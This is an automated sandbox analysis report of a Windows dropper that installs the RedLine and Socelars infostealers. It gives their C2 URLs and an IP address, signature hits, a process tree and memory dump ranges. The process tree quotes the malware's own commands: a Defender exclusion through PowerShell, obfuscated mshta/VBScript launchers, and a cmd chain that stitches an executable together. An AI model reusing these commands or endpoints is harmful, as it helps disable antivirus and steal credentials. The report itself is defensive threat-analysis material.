Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    10/11/2021, 02:51

General

  • Target
    951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe
  • Size 7.3MB
  • Sample211110-db6lnadcfr
  • SHA256 951049989eb772c71ec4fa9f0685ab45cae755ca5d34cf3089fd791999fafa1c
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • socelars

C2
  • http://www.iyiqian.com/

  • http://www.hbgents.top/

  • http://www.rsnzhy.com/

  • http://www.znsjis.top/

Extracted

Family
  • redline

Botnet
  • jamesoldd

C2
  • 65.108.20.195:6774

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 1 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 40 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe
    "C:\Users\Admin\AppData\Local\Temp\951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:656
    • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:572
      • C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\setup_install.exe
        "C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\setup_install.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1952
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          4⤵
            PID:1772
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1588
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Mon1171bdf4053512.exe
            4⤵
            • Loads dropped DLL
            PID:1752
            • C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon1171bdf4053512.exe
              Mon1171bdf4053512.exe
              5⤵
              • Executes dropped EXE
              PID:540
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Mon11b2a87bc5ae6.exe /mixone
            4⤵
            • Loads dropped DLL
            PID:1856
            • C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon11b2a87bc5ae6.exe
              Mon11b2a87bc5ae6.exe /mixone
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious behavior: GetForegroundWindowSpam
              PID:656
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Mon1182b0194f4f89e7.exe
            4⤵
              PID:1632
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Mon11cfa41b22c520d.exe
              4⤵
                PID:1076
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Mon118ed94392.exe
                4⤵
                • Loads dropped DLL
                PID:1260
                • C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon118ed94392.exe
                  Mon118ed94392.exe
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1624
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Mon11fbe0c8a7f0b4a47.exe
                4⤵
                  PID:956
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Mon11e73d87d47b7.exe
                  4⤵
                    PID:1268
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c Mon112667aa79a82a20.exe
                    4⤵
                      PID:1064
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Mon1157e89d13eed5c.exe
                      4⤵
                      • Loads dropped DLL
                      PID:304
                      • C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon1157e89d13eed5c.exe
                        Mon1157e89d13eed5c.exe
                        5⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1132
                        • C:\Windows\SysWOW64\mshta.exe
                          "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon1157e89d13eed5c.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon1157e89d13eed5c.exe"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                          6⤵
                            PID:1476
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon1157e89d13eed5c.exe" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon1157e89d13eed5c.exe" ) do taskkill /F -Im "%~NxU"
                              7⤵
                              • Loads dropped DLL
                              PID:2116
                              • C:\Users\Admin\AppData\Local\Temp\09xU.exE
                                09xU.EXE -pPtzyIkqLZoCarb5ew
                                8⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                PID:2156
                                • C:\Windows\SysWOW64\mshta.exe
                                  "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                                  9⤵
                                    PID:2200
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE" ) do taskkill /F -Im "%~NxU"
                                      10⤵
                                        PID:2280
                                    • C:\Windows\SysWOW64\mshta.exe
                                      "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " , 0 ,TRuE ) )
                                      9⤵
                                        PID:2368
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
                                          10⤵
                                            PID:2452
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /S /D /c" eCHO "
                                              11⤵
                                                PID:2492
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
                                                11⤵
                                                  PID:2504
                                          • C:\Windows\SysWOW64\taskkill.exe
                                            taskkill /F -Im "Mon1157e89d13eed5c.exe"
                                            8⤵
                                            • Kills process with taskkill
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2168
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Mon11c6a1657c3.exe
                                    4⤵
                                    • Loads dropped DLL
                                    PID:1540
                                    • C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon11c6a1657c3.exe
                                      Mon11c6a1657c3.exe
                                      5⤵
                                      • Executes dropped EXE
                                      PID:1780
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Mon118af444344b7.exe
                                    4⤵
                                    • Loads dropped DLL
                                    PID:1200
                                    • C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon118af444344b7.exe
                                      Mon118af444344b7.exe
                                      5⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:1656
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Mon11f8437179.exe
                                    4⤵
                                      PID:1640
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c Mon11b50c6fefd69011.exe
                                      4⤵
                                      • Loads dropped DLL
                                      PID:896
                                      • C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon11b50c6fefd69011.exe
                                        Mon11b50c6fefd69011.exe
                                        5⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        PID:564
                                        • C:\Users\Admin\AppData\Local\Temp\is-5J9JA.tmp\Mon11b50c6fefd69011.tmp
                                          "C:\Users\Admin\AppData\Local\Temp\is-5J9JA.tmp\Mon11b50c6fefd69011.tmp" /SL5="$5012A,239846,156160,C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon11b50c6fefd69011.exe"
                                          6⤵
                                          • Executes dropped EXE
                                          PID:1844
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1952 -s 468
                                      4⤵
                                      • Loads dropped DLL
                                      • Program crash
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious behavior: GetForegroundWindowSpam
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:924

                              Network

                                    MITRE ATT&CK Enterprise v6

                                    Replay Monitor

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                                    Downloads

                                    memory/564-175-0x0000000000400000-0x000000000042C000-memory.dmp

                                    memory/656-55-0x00000000757E1000-0x00000000757E3000-memory.dmp

                                    memory/656-199-0x0000000000400000-0x000000000046F000-memory.dmp

                                    memory/656-194-0x0000000000230000-0x000000000029F000-memory.dmp

                                    memory/656-165-0x00000000005A0000-0x00000000005C9000-memory.dmp

                                    memory/924-198-0x00000000005F0000-0x00000000005F1000-memory.dmp

                                    memory/1588-205-0x0000000001F00000-0x0000000002B4A000-memory.dmp

                                    memory/1588-192-0x0000000001F00000-0x0000000002B4A000-memory.dmp

                                    memory/1588-202-0x0000000001F00000-0x0000000002B4A000-memory.dmp

                                    memory/1624-190-0x00000000008D0000-0x00000000008D1000-memory.dmp

                                    memory/1624-208-0x000000001AE20000-0x000000001AE22000-memory.dmp

                                    memory/1656-207-0x0000000004944000-0x0000000004946000-memory.dmp

                                    memory/1656-200-0x0000000004941000-0x0000000004942000-memory.dmp

                                    memory/1656-201-0x0000000004800000-0x000000000481F000-memory.dmp

                                    memory/1656-197-0x0000000000400000-0x00000000004C6000-memory.dmp

                                    memory/1656-203-0x0000000004942000-0x0000000004943000-memory.dmp

                                    memory/1656-195-0x00000000007F0000-0x0000000000820000-memory.dmp

                                    memory/1656-172-0x00000000002A0000-0x00000000002C3000-memory.dmp

                                    memory/1656-204-0x0000000004943000-0x0000000004944000-memory.dmp

                                    memory/1656-206-0x0000000004830000-0x000000000484E000-memory.dmp

                                    memory/1952-94-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                    memory/1952-97-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                    memory/1952-86-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                    memory/1952-89-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                    memory/1952-85-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                    memory/1952-88-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                    memory/1952-91-0x0000000064940000-0x0000000064959000-memory.dmp

                                    memory/1952-90-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                    memory/1952-93-0x0000000064940000-0x0000000064959000-memory.dmp

                                    memory/1952-92-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                    memory/1952-95-0x0000000064940000-0x0000000064959000-memory.dmp

                                    memory/1952-96-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                    memory/1952-87-0x0000000064940000-0x0000000064959000-memory.dmp

                                    memory/1952-98-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                    memory/1952-84-0x000000006B440000-0x000000006B4CF000-memory.dmp